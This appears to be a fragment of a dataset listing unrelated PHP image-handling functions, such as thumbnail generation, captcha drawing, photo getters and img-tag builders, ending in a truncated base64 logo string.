image/{$src_image_type}\");\n switch ($src_image_type){\n case 'gif':$src_img=ImagePNG($src_image); break;\n case 'jpg':$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n case 'png':$src_img=ImagePNG($src_image);break;\n default:$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n }\n}\nimagedestroy($src_image);\n}",
"private function generateThumbnailImagick(){\n\t}",
"function getImage();",
"function tampilPhoto($nrk=''){\n $rs=$this->mdl->get_data($nrk)->row();\n $result = $rs->X_PHOTO->load();\n// If any text (or whitespace!) is printed before this header is sent,\n// the text won't be displayed and the image won't display properly.\n// Comment out this line to see the text and debug such a problem.\n header(\"Content-type: image/JPEG\");\n echo $result;\n }",
"function print_photo_text($table) {\n\n\t$html = \"<div class=\\\"div_class\\\">\\n\";\n\t$html .= \"\\t<h3>\" . $table['titre'] . \"</h3>\\n\";\n\t$html .= \"\\t<div class=\\\"photo_text\\\">\\n\";\n\t$html .= \"\\t\\t<img src=\\\"Images/\" . $table['photo'] . \"\\\">\";\n\t$html .= \"\\t\\t<p>\" . $table['texte'] . \"</p>\\n\";\n\t$html .= \"\\t</div>\\n\";\n\t$html .= \"</div>\\n\";\n\n\treturn $html;\n}",
"public function preview_image()\n {\n return 'contact-area/04.png';\n }",
"function createImage($width=135,$height=45)\r\n\t{\r\n\t\theader(\"Content-type:image/jpeg\");\r\n\r\n\t\t// create an image \r\n\t\t$im=imagecreate($width,$height);\r\n\r\n\t\t// white background\r\n\t\t$black=imagecolorallocate($im,0,0,0);\r\n\r\n\r\n\t\t// black text and grid\r\n\t\t$white=imagecolorallocate($im,255,255,255);\r\n $other=imagecolorallocate($im,0,0,255);\r\n\t\t// get a random number to start drawing out grid from\r\n\t\t$num=rand(0,5);\r\n\r\n\t\t// draw vertical bars\r\n\t\tfor($i=$num;$i<=$width;$i+=10)\r\n\t\t\timageline($im,$i,0,$i,45,$other);\r\n\r\n\t\t// draw horizontal bars\r\n\t\tfor($i=$num;$i<=$height+10;$i+=10)\r\n\t\t\timageline($im,0,$i,135,$i,$other);\r\n\r\n\t\t// generate a random string\r\n\t\t$string=substr(strtolower(md5(uniqid(rand(),1))),0,7);\r\n\t\t\r\n\t\t$string=str_replace('2','a',$string);\r\n\t\t$string=str_replace('l','p',$string);\r\n\t\t$string=str_replace('1','h',$string);\r\n\t\t$string=str_replace('0','y',$string);\r\n\t\t$string=str_replace('o','y',$string);\r\n\r\n\t\t// place this string into the image\r\n\t\t$font = imageloadfont('anticlimax.gdf'); \r\n\r\n imagestring($im,$font,10,10,$string, $white);\r\n\t\t// create the image and send to browser\r\n\t\timagejpeg($im);\r\n\t\t// destroy the image\r\n\t\timagedestroy($im);\r\n\r\n\t\t// return the random text generated\r\n\t\treturn $this->text=$string;\r\n\t}",
"public function image();",
"public function image();",
"public function preview_image()\n {\n return 'contact-area/02.png';\n }",
"public function picture(){\n }",
"public function getPictureName()\n {\n $pictureName = \"nopicture.png\";\n $articleModel = new ArticleModel();\n $articles = $articleModel->where(\"id_products\", $this->id_products)->findAll();\n\n if (count($articles) > 0) {\n\n if ($articles[0]->getPicture() != null) {\n $pictureName = $articles[0]->getPicture()->name . \".\" . $articles[0]->getPicture()->extension;\n }\n }\n return $pictureName;\n }",
"public function getImage() : string\n {\n return $this->image;\n }",
"function mk_PolyThumb($cID, $str=''){\n\t#get character info for tooltip from ma_Characters\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\n\t$codeName = $overview = $waiver = $team = '';#initialize\n\n\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$overview = $rowTT['Overview'];\n\t\t\t$waiver = $rowTT['Waiver'];\n\t\t\t$team = $rowTT['Team'];\n\t\t\t$codeName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = '../uploads/'. $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = $filename;\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = '../_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n\n\t#construct the polyThumb\n\t$str .= '\n\t\t<div><a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\tdata-original-title=\"' . $codeName . ' >> ' . $overview .'\"\n\t\t\t>\n\n\t\t\t\t<!--- for polygons -->\n\t\t\t\t<svg class=\"clip-svg\">\n\t\t\t\t\t<defs>\n\t\t\t\t\t\t<clipPath id=\"polygon-clip-hexagon\" clipPathUnits=\"objectBoundingBox\">\n\t\t\t\t\t\t\t<polygon points=\"0.5 0, 1 0.25, 1 0.75, 0.5 1, 0 0.75, 0 0.25\"></polygon>\n\t\t\t\t\t\t</clipPath>\n\t\t\t\t\t</defs>\n\t\t\t\t</svg>\n\n\t\t\t\t<div class=\"polygon-each-img-wrap\">\n\t\t\t\t\t<img src=\"' . $filename . '\" alt=\"demo-clip-heptagon\" class=\"polygon-clip-hexagon\">\n\t\t\t\t</div>\n\t\t</a></div>\n\n\t\t<div>\n\t\t\t<p class=\"text-center\"><small><strong>' . $codeName . '</strong></small></p>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"public function getPhoto() : string {\n $hash = crc32($this->name);\n $filename = self::PHOTO_DIRECTORY . $hash . '.png';\n\n if (file_exists($filename))\n return '/images/photos/' . $hash . '.png';\n\n return '/images/no-photo.png';\n }",
"function mk_cThumb($cID, $str=''){\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\t$cName = $cOverview = $cWaiver = $cTeam = '';#initialize\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$cOverview = $rowTT['Overview'];\n\t\t\t$cWaiver = $rowTT['Waiver'];\n\t\t\t$cTeam = $rowTT['Team'];\n\t\t\t$cName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = './../uploads/_assigned/' . $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = VIRTUAL_PATH . 'uploads/_assigned/' . $cID . '-1t.jpg';\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = VIRTUAL_PATH . '_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n/*\n\n\nhttp://localhost/WrDKv4/_img/_static/static---005.gif\n\n\n\n*/\n\n\n\n\n\n\t#construct the polyThumb\n\t$str .= '<div class=\"text=center\">\n\t\t\t<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\t\tdata-original-title=\"' . $cName . ' >> ' . $cOverview . '\"\n\t\t\t\t>\n\t\t\t\t<img src=\"' . $filename . '\" alt=\"' . $cName . '\" style=\"width:50px\">\n\t\t\t</a>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"private function generateThumbnailCmd(){\n\t}",
"public function toGDImage() {}",
"public function getThumbnail() {\r return $this->Image()->CMSThumbnail();\r }",
"public function getProfilePicture();",
"public function showImageFromGet() {\n\n\t\t// $imageFilename = UniteFunctionsRev::getGetVar(\"img\");\n\t\t$imageID = intval( UniteFunctionsRev::getGetVar( 'img' ) );\n\t\t$maxWidth = UniteFunctionsRev::getGetVar( 'w',-1 );\n\t\t$maxHeight = UniteFunctionsRev::getGetVar( 'h',-1 );\n\t\t$type = UniteFunctionsRev::getGetVar( 't','' );\n\n\t\t// set effect\n\t\t$effect = UniteFunctionsRev::getGetVar( 'e' );\n\t\t$effectArgument1 = UniteFunctionsRev::getGetVar( 'ea1' );\n\n\t\tif ( ! empty( $effect ) ) {\n\t\t\t$this->setEffect( $effect,$effectArgument1 ); }\n\n\t\t$this->showImageByID( $imageID );\n\t\techo 'sechs<br>';\n\t\t// $this->showImage($imageFilename,$maxWidth,$maxHeight,$type);\n\t}",
"private function get_title_img()\n {\n $this->char_count = count($this->strings);\n $this->init_img();\n $font_size = L_FONT_SIZE / $this->char_count;\n $img_y = (L_IMG_HEIGHT + $font_size) / 2;\n $this->create_img($this->string,$font_size,$img_y);\n }",
"public function createImage3(){\n $this->triangleCreate(240, 100, 290, 50, 340, 100);\n $this->triangleCreate(40, 300, 90, 250, 140, 300);\n $this->triangleCreate(440, 300, 490, 250, 540, 300);\n $this->createLine(265, 100, 105, 265);\n $this->createLine(315, 100, 475, 265);\n $this->createLine(125, 285, 455, 285);\n $this->generateImage();\n }",
"public function GetImage($type=NULL){\r\n\t\t$GTemp=$this->GTemp;\r\n\t\tif ($type!=NULL){\r\n\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$type.\".jpg\");\r\n\t\t\t$width=$this->width;\r\n\t\t\t$height=$this->height;\r\n\t\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t\treturn $hndl_dest;\r\n\t\t}\r\n\t\t$types=$this->WidgetClass()->Types();\r\n\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$types[0].\".jpg\");\r\n\t\t$width=(sizeof($types))*($this->width);\r\n\t\t$height=$this->height;\r\n\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t$counter=0;\r\n\t\tif ($types!=''){\r\n\t\t\tforeach ($types as $index => $val){\r\n\t\t\t\tif ($index==0) continue;\r\n\t\t\t\t$counter++;\r\n\t\t\t\timagedestroy($hndl);\r\n\t\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$val.\".jpg\");\r\n\t\t\t\timagecopymerge($hndl_dest,$hndl,($counter)*$this->width,0,\r\n\t\t\t\t\t$this->x1,$this->y1,$this->width,$this->height,100);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $hndl_dest;\r\n\t}",
"function GetImage()\n {\n //Obtient les images par défaut de chaque produit de la fiche\n $ficheProduct = new EeCommerceFicheProductProduct($this->Core);\n $ficheProduct->AddArgument(new Argument(\"EeCommerceFicheProductProduct\", \"FicheId\", EQUAL, $this->IdEntite));\n $products = $ficheProduct->GetByArg();\n \n $html = \"<div>\";\n \n foreach($products as $product)\n {\n $img = new Image($product->Product->Value->ImageDefault->Value);\n $img->Alt = $img->Title = $product->Product->Value->NameProduct->Value;\n \n $html .= \"<div class='col-md-4' >\" . $img->Show().\"</div>\"; \n }\n \n $html .= \"</div>\";\n \n return $html;\n \n }",
"function doc_pic ($a,$showdetails=false,$force=false) {\r\n\tGLOBAL $HTTP_SERVER_VARS;\r\n\t\t$SRC=$a[SRC];\r\n\t\t$path=$a[path];\r\n\t\t$HREF=$a[HREF];\r\n\t\t$BORDER=$a[BORDER];\r\n\t\t$ALIGN=$a[ALIGN];\r\n\t\t$HVSPACE=$a[HVSPACE];\r\n\t\t$ALT=$a[ALT];\r\n\t\t$WIDTH=$a[WIDTH];\r\n\t\t$HEIGHT=$a[HEIGHT];\r\n\r\n\t\tif (''==$SRC) {\r\n\t\t\tif ($showdetails) {\r\n\t\t\t\t$this->_debug2('doc_pic');\r\n\t\t\t\treturn(\"Kein Bild\");\r\n\t\t\t} else {\r\n\t\t\t\t$this->_debug2('doc_pic');\r\n\t\t\t\treturn('');\r\n\t\t\t}\r\n\t\t}\r\n\t if (''==$path) {\r\n\t \t$path=$SRC;\r\n\t }\r\n\t if (ereg(\"^/\",$SRC)) {\r\n\t \t## if unset, assume DOCUMENT_ROOT to be the path\r\n\t \tif (!$this->layoutpath) {\r\n\t \t\t$this->layoutpath = $HTTP_SERVER_VARS[\"DOCUMENT_ROOT\"];\r\n\t \t}\r\n\t\t\t$SRC= $this->layouturl . $SRC;\r\n\t\t\t$path=$this->layoutpath . $path;\r\n\t\t}\r\n\t if (file_exists($path)) {\r\n\t\t\t$WH=GetImageSize($path);\r\n\t\t} else {\r\n\t\t\t$this->defval($force, $this->picture_def['force']);\r\n\t\t\tif (!$force) {\r\n\t\t\t\t$this->_debug2('doc_pic not found');\r\n\t\t\t\treturn(\"Bild: '$path' nicht vorhanden!\");\r\n\t\t\t}\r\n\t\t}\r\n\t\tif ($WIDTH>0) {\r\n\t\t\t$WH[0]=$WIDTH;\r\n\t\t}\r\n\t\tif ($HEIGHT>0) {\r\n\t\t\t$WH[1]=$HEIGHT;\r\n\t\t}\r\n\t\t$this->defval($BORDER, $this->picture_def['BORDER']);\r\n\t\t$this->defval($ALIGN, $this->picture_def['ALIGN']);\r\n\t\t$this->defval($HVSPACE, $this->picture_def['HVSPACE']);\r\n\t\t$this->defval($ALT, $this->picture_def['ALT']);\r\n\r\n\t\t$r.=($BORDER!='') ? sprintf($this->picture['BORDER'],$BORDER) : '';\r\n\t\t$r.=o_iftrue($ALIGN, $this->picture['ALIGN']);\r\n\t\tif ($HVSPACE) {\r\n\t\t\t$r.=sprintf($this->picture['HVSPACE'],$HVSPACE,$HVSPACE);\r\n\t\t}\r\n\t\t$r.=sprintf($this->picture['ALT'],HTMLSpecialChars($ALT));\r\n\t\t$r.=sprintf($this->picture['WIDTH'],$WH[0]);\r\n\t\t$r.=sprintf($this->picture['HEIGHT'],$WH[1]);\r\n\r\n\t\t$out=sprintf($this->picture['pictag'],$SRC,$r);\r\n\r\n\t\tif ($HREF) {\r\n\t\t\t$out=$this->doc_anker('NULL',$HREF,$out);\r\n\t\t}\r\n\r\n\t\tif ($showdetails) {\r\n\t\t\t$name=ereg_Replace(\"^.*/\",\"\",$SRC);\r\n\t\t\t$out=\"<SMALL>'<B>$name</B>' \".\r\n\t\t\t \"$WH[0]x$WH[1] Pixel</SMALL>\\n$out\";\r\n\t\t}\r\n\r\n\t\t$this->_debug('doc_pic',$out);\r\n\t\treturn($out);\r\n\t}",
"final public function getImage() {\n\t\t\tif(strlen($this->text) === 0)\n\t\t\t\treturn null;\n\t\t\t\n\t\t\t$data = $this->getTCPDFBarcode()->getBarcodeArray();\n\t\t\tif($data === false)\n\t\t\t\treturn null;\n\t\t\t\n\t\t\t$image = new Image($data['maxw'], $data['maxh']);\n\t\t\t\n\t\t\t$x = 0;\n\t\t\tforeach($data['bcode'] as $bar) {\n\t\t\t\tfor($i = 0; $i < $bar['w']; ++$i) {\n\t\t\t\t\tfor($y = 0; $y < $bar['h']; ++$y)\n\t\t\t\t\t\t$image->setPixel($x + $i, $bar['p'] + $y, (int)$bar['t']);\n\t\t\t\t}\n\t\t\t\t$x += $bar['w'];\n\t\t\t}\n\t\t\t\n\t\t\treturn $image;\n\t\t}",
"public function createImgUri() {\n\t\t$this->imgUri = FLICKR_FARM;\n\t\t$this->imgUri .= $this->photo['farm'];\n\t\t$this->imgUri .= '.';\n\t\t$this->imgUri .= STATICFLICKR;\n\t\t$this->imgUri .= $this->photo['server'];\n\t\t$this->imgUri .= '/';\n\t\t$this->imgUri .= $this->photo['id'];\n\t\t$this->imgUri .= '_';\n\t \t$this->imgUri .= $this->photo['secret'];\n\t\t$this->imgUri .= '.';\n\t \t$this->imgUri .= IMGEXT;\n\t}",
"function kdw_row_tiles_txt_img (){ \r\n \r\n}",
"function getImageId();",
"protected function dumpImage():string{\n\t\tob_start();\n\n\t\ttry{\n\n\t\t\tswitch($this->options->outputType){\n\t\t\t\tcase QROutputInterface::GDIMAGE_GIF:\n\t\t\t\t\timagegif($this->image);\n\t\t\t\t\tbreak;\n\t\t\t\tcase QROutputInterface::GDIMAGE_JPG:\n\t\t\t\t\timagejpeg($this->image, null, max(0, min(100, $this->options->jpegQuality)));\n\t\t\t\t\tbreak;\n\t\t\t\t// silently default to png output\n\t\t\t\tcase QROutputInterface::GDIMAGE_PNG:\n\t\t\t\tdefault:\n\t\t\t\t\timagepng($this->image, null, max(-1, min(9, $this->options->pngCompression)));\n\t\t\t}\n\n\t\t}\n\t\t// not going to cover edge cases\n\t\t// @codeCoverageIgnoreStart\n\t\tcatch(Throwable $e){\n\t\t\tthrow new QRCodeOutputException($e->getMessage());\n\t\t}\n\t\t// @codeCoverageIgnoreEnd\n\n\t\t$imageData = ob_get_contents();\n\t\timagedestroy($this->image);\n\n\t\tob_end_clean();\n\n\t\treturn $imageData;\n\t}",
"protected function renderImage(){\n \n return sprintf(\n '<img src=\"%s\" title=\"%s\" alt=\"%s\">',\n $this->getField('url'),\n $this->getField('title',''),\n $this->getField('alt','')\n );\n \n }",
"public function getImage()\n {\n // merge text options with generation options\n $queryArgs = array_merge(\n $this->getOptions(),\n array(\n \t'text' => $this->getText(),\n )\n );\n \n $url = self::GENERATOR_SERVICE_URL . '?' . http_build_query($queryArgs);\n \n // Set curl options and execute the request\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_HEADER, 0);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); \n\n $result = curl_exec($ch);\n \n // if the request fails, throw exception\n if ($result === false) {\n require_once 'Ncstate/Brand/Exception.php';\n throw new Ncstate_Brand_Exception('CURL Error: ' . curl_error($ch));\n }\n \n $im = imagecreatefromstring($result);\n curl_close($ch); \n \n return $this->_store($im);\n }",
"private function get_type_img()\n {\n $this->multi_byte_string_to_array();\n foreach($this->strings as $char)\n {\n $this->init_img();\n $this->create_img($char);\n }\n }",
"public function __toString() {\n\t\tif (!$this->isBound()) {\n\t\t\treturn 'DImage '.$this->id.' [not bound]';\n\t\t}\n\t\t$r = 'DImage '.$this->id.' ['.$this->info;\n\t\tif ($this->getFrameCount() > 1) {\n\t\t\t$r .= ' frames:'.$this->getFrameCount();\n\t\t}\n\t\t$r .= ' #'.$this->getResourceID();\n\t\t$r .= ']';\n\t\treturn $r;\n\t}",
"public function getAsString() {\n\t\t$image = $this->getImage();\n\t\t$string = $image->toString();\n\n\t\tif ($string === false) {\n\t\t\t$this->handleError($image);\n\t\t} else {\n\t\t\treturn $string;\n\t\t}\n\t}",
"function print_image($path){\n $image = new Imagick();\n $image->readImage(_LOCAL_.$path);\n $height = $image->getImageHeight();\n $width = $image->getImageWidth();\n\n $canvas = new Imagick();\n $canvas->newImage($width,$height,new ImagickPixel('white'));\n $canvas->setImageFormat('png');\n $canvas->compositeImage($image,imagick::COMPOSITE_OVER, 0, 0);\n\n header('Content-type: image/png');\n echo $canvas;\n $image->destroy();\n $canvas->destroy();\n}",
"function build_thumbnail($img, $tumb_width, $tumb_height)\n{\n\t$width = imageSX($img);\n\t$height = imageSY($img);\n\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t$target_width = $tumb_width;\n\t$target_height = $tumb_height;\n\t\n\t$target_ratio = $target_width / $target_height;\n\t$img_ratio = $width / $height;\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\t\n\t$offx=0;\n\t$offy=0;\n\t$new_width=$width;\n\t$new_height=$height;\n\t\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio > $target_ratio) {\n\t\t$diff_ratio = $target_ratio / $img_ratio;\n\t\t$new_width = $width * $diff_ratio;\n\t\t$offx = ($width - $new_width) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif($img_ratio < $target_ratio){\n\t\t$diff_ratio = $img_ratio / $target_ratio;\n\t\t$new_height = $height * $diff_ratio;\n\t\t$offy = ($height - $new_height) / 2;\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\t$new_img = ImageCreateTrueColor($tumb_width, $tumb_height);\n\n\t// Fill the image black\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\tif (!@imagefilledrectangle($new_img, 0, 0, $target_width-1, $target_height-1, 0)) {\n\t\techo \"ERROR\\nCould not fill new image\";\n//\t\texit(0);\n\t}\n//\t\t\techo sprintf(\" KALL %s %d\",__FILE__,__LINE__);\n\n\tif (!@imagecopyresampled($new_img, $img, 0, 0, $offx, $offy, $target_width, $target_height, $new_width, $new_height)) {\n\t\techo \"ERROR\\nCould not resize image\";\n//\t\texit(0);\n\t}\n\n\treturn $new_img;\n}",
"public function getPhoto() {\n return DATADIR . 'alumni/' . $this->shortName . '.jpg';\n }",
"function view_builder_logo_inside_project($img,$w,$h,$alt)\n{\n if(file_exists(\"../builder/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"../include/phpThumb.php?src=../builder/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"../include/phpThumb.php?src=../builder/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;}",
"public function create_image(){\n\t\t$md5_hash = md5(rand(0,999));\n\t\t$security_code = substr($md5_hash, 15, 5);\n\t\t$this->Session->write('security_code',$security_code);\n\t\t$width = 80;\n\t\t$height = 22;\n\t\t$image = ImageCreate($width, $height);\n\t\t$black = ImageColorAllocate($image, 37, 170, 226);\n\t\t$white = ImageColorAllocate($image, 255, 255, 255);\n\t\tImageFill($image, 0, 0, $black);\n\t\tImageString($image, 5, 18, 3, $security_code, $white);\n\t\theader(\"Content-Type: image/jpeg\");\n\t\tImageJpeg($image);\n\t\tImageDestroy($image);\n\t}",
"private function _xyz()\n {\n $logo = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAAAcCAYAAACXkxr4AAAACXBIWXMAA'\n . 'AsTAAALEwEAmpwYAAAKC0lEQVRoge2ZeVDU5xnHPz/AXdmDGwUEXDAsMxaRywOJEkINxmGp1cYDZ+o0'\n . 'bTTtZDqTQDrpTOu09srkciYzMSpNtO2ITZxpMrD5IyIB2yikchjU6C5JRMBFZFniHuAu6779Y7MbEZZ'\n . 'L2z9Svv/sb/d9rt/7fZ7nPRbmMIc5zGEOc5gdpAdl6Pr1AdFjsnChy4piPkjz5azJTCVGCbbbHpShcs'\n . 'KU8gfm79uK+56g5nMGceSdMxh6bSiUoQTHqlAp5KgUMuShC0ldqGTN4hAUYSrSNbHI5bI5UibBrCenw'\n . '3BdvFH1IYZeG/FLE4mOTiIsIpyQ+aFj5BRqFSqVgoj+VjKXashMXzTO5969e4Xved++fdJEYxP9vm/f'\n . 'Punez6lsTsfXTHRm8h4TxXkvQgINTIYDR06JF176gNScLH6wOZOISDkAXw05sduHx8iqVApSUuWYrsv'\n . 'ovXodt9stQkJCxgXkC/LugAM9TxeB5CezORud2cgFwowIsTqcYv/bjbQPjlBe+RQajcDeNYCltx9PsJ'\n . 'poZRiolNzsuwl4q8OHpIxkWt+rY+OGlRMGGagS7geBJmUyX7OdyKlsT6c6YAaEWB1OUfH7fxCfV8Cuj'\n . 'YlcqmvlxKFmFiyIILNwBXnp0VzpsZDiNvN5pIzmywNAHADh4TJkIfO5efOrgPYfJBFT2ZxNhczU53+9'\n . 'Qva/3ciSohLWLglC/7u3ACjZsJLioizmzQvBPjKKLTSOUNs1tq9L4otLRgZugEL9kN+G0+maUXC+rPI'\n . '9TzQ2WebNpuomW7OmY+t+K31aSlUnzonB8CV8RznAqRN1pKTG85MnS1AqlUiSJAkhxLGGLhZFSoS6na'\n . 'zK01Ktb+HvZzopeHQDD6+NYPRKN+//Rc/+135GUFDQ3E4rAKaskOZzBtE4FEuy1MvZDz5hx871rMrTA'\n . 'iBJkgTQ2TNIrzscW2sz2cuXALAkLow7A3YAomVwtf8mCoV8jowpEDTZoNXhFDVGyEoa5ULDJ+zYtZGV'\n . 'uWkIIfxkCCHEe6eukJU0iuWmhezMFCRJkgZcMOwY8W55b49iNPawMC4Kt9stJvP5/45JK0R/1sDqXC1'\n . 'XP/6IteuWs0ybAHxTGV4ZI47wZMxXPkepCkUmm4fb7RZVR0+i1sSSkioHXDQ1X+bZZ5/At+U1dpvFsf'\n . 'qLmAZtFC1fTPn6zDGVU13XIWwjLmwjTgw9FtKToqjcViA1tHeJ2jMGbLdd5GnjaTH2oZ4vQ1eQTlG2R'\n . 'qo9YxA1TUYAEqLVmAZt5Gnj/d9tw04aPr0GQFWlboxP3QvVovbFcv9vh2pahP6s15bJYqMwU8PTZblo'\n . 'k2MkgD6zVRysbcM0aMM+7EKbFM3O4gz/uLHbLA7WtHK6o4uEKDXWESflxcvYU5YXsEsErBCrwymGPBE'\n . 'ssF2jYO1yHvtuDi7XKC7XqF9GCCFq9G2sKkji0rnP0GqTAAgODqbxozYWJz1EaqzgvXf/RdyCCLIzU/'\n . 'y62uQYqWJrPsYeM8frL47zX9vUSVGWhsptBdINsw1DjwWAomyNlJ4cTZvRxG5dLlWVOqkoW0Plmx/SZ'\n . '7YKH8FVlTopIVpFm9HEnrI8aU9ZnqQrSJd8xLcZTeN8miw2//OhmhZxWN9K6RottS+WS8d/tYU+i52K'\n . 'Ayf9Mj4yqip10vG9W6Q8bTwN57v84xUHTtJnsXOkopTaF8ulPaW5HNa3cqimJWCXCEhIq7GPJcneA19'\n . 'YRDivv2/gzl3iQgjx5tF65IlLiHDcYmjIxrqHlyKE4ILRRL9HzepHVxBxe5TTdc2UbFg57tokTCmXdG'\n . 'u0mCw2jN1mf5B9ZquwDzv9mRYXo54wRl+l6grSJW1iDMfqL1C2Rjuu2u6Fr2Img/6skRxtgj+btckx0'\n . 'i+3rcZksdHQ3iUA9E2GMTqFWRrK1njX14b2LmGy2Nity/V3lvL1mVJhpobG89cC+g1IyA2XGs81r2Jy'\n . 'rIK48Dv84s9tXOu34vF4hG3Yhf7jL3msOJNP/9lCUtIC366LN6o+JGNtPrlawTtv6UnVLKS4KGtCP2X'\n . '56QDU3PVyDe1dFGYvnmrO/CRaHU5hGrSSEKUmPibsgWwaTBbbOOJ81z7GHjMApfnptBlNVNd1CPAmmM'\n . '+/TyZXGz+mxacnR2PsNQf0OyEhHo9HKMOVAL5Fmk3rlhLrGeL12i95+ehZ9r/dSGpOFmlpMjr+3UHx+'\n . 'hUAfNJipGfIzeNbVnCrrZOm5st87/vrAl4qapNjpIQoNafbv8ma2qZOdhYvm3TCAI7VX6S6rkNUvHmS'\n . '3LQEStekT6nzIFGxNZ/CTA2vnmhC90K16DBcH9eKZnrDPSEh/RY70fNuExUdTnBwEEIIFPIQadfWAgY'\n . 'He+gZkTEQFMnjW1Zg6bISGalmVZ4Wh8PBvoOn2fjjH5KjdrF//wk26fJZvSJ90qAKsxf721af2SqAaW'\n . 'd6i6GPNqOJ57fn/8+v98OUcum1Z0qkV35agnXEyY9e1furZbaYkBDnnSDUbgeKMBUhISGS7+yQHKugN'\n . 'DsZ50g/iWneBftqxyV27NoIwLN/qCVv4waKV8n4beUbZGZo2Lx57ZRB+NrWsfqLNLR3octPm1bwFVvz'\n . 'eX57PuBdYB80bCPOackVZWuk2j+WkxCl5pC+dcyYL8GmiwkJkavmEa2SERutxuPx+A0GBQVJO3UrJPV'\n . '82Rj5ZdoEXjpyhtiMHHZsSuRgxQEiI9U8ubuMefOmvp3RJsdI2sQYGs9f9e6usjXTCt7Xs3cUZ6BvMs'\n . 'z45a0Op5joGUCbGEOr4cYYeV9L0ibFTBhL6dcL+t0yLYa+MXKG7kG0ieP1fZiQkKgQifDwUOJjwqR7T'\n . '9Yej0c8XZZLb+fndHa6WJmbzoGTPYjEpWwqieOvv36LBQsi+Plz2ybUDwRdfhr2ERcqhWzGC/Pu0jxU'\n . 'oTL2Hj09pazH4xH56d7F+rC+BavDKawOpzisbyHn690QQHlxBsZeM7VnDAK8ZPzpnWa0iTEUZWskq8M'\n . 'pnnqlVlTXdYg+s1X0ma2i8fw1dF+TUpStkbSJMVTXX/T7OFTTIlo7TZQXZwSMb9Y9t7quQ0hhi1CGKw'\n . 'mOkBM8dJPTf6thYVwUT2xZx6JFsTOy3We2iucO1LFbl0tRtmaMrrHbLGqaDFRuK5DAm82/OdLIa8+U+'\n . 'OWq6zpEbVMnx/duke7We/ndpnEHwLvlTYNW7CMuCjM1PL89f0wy1J4xiOr6i9iHnVhHnDySlcLTuhy/'\n . 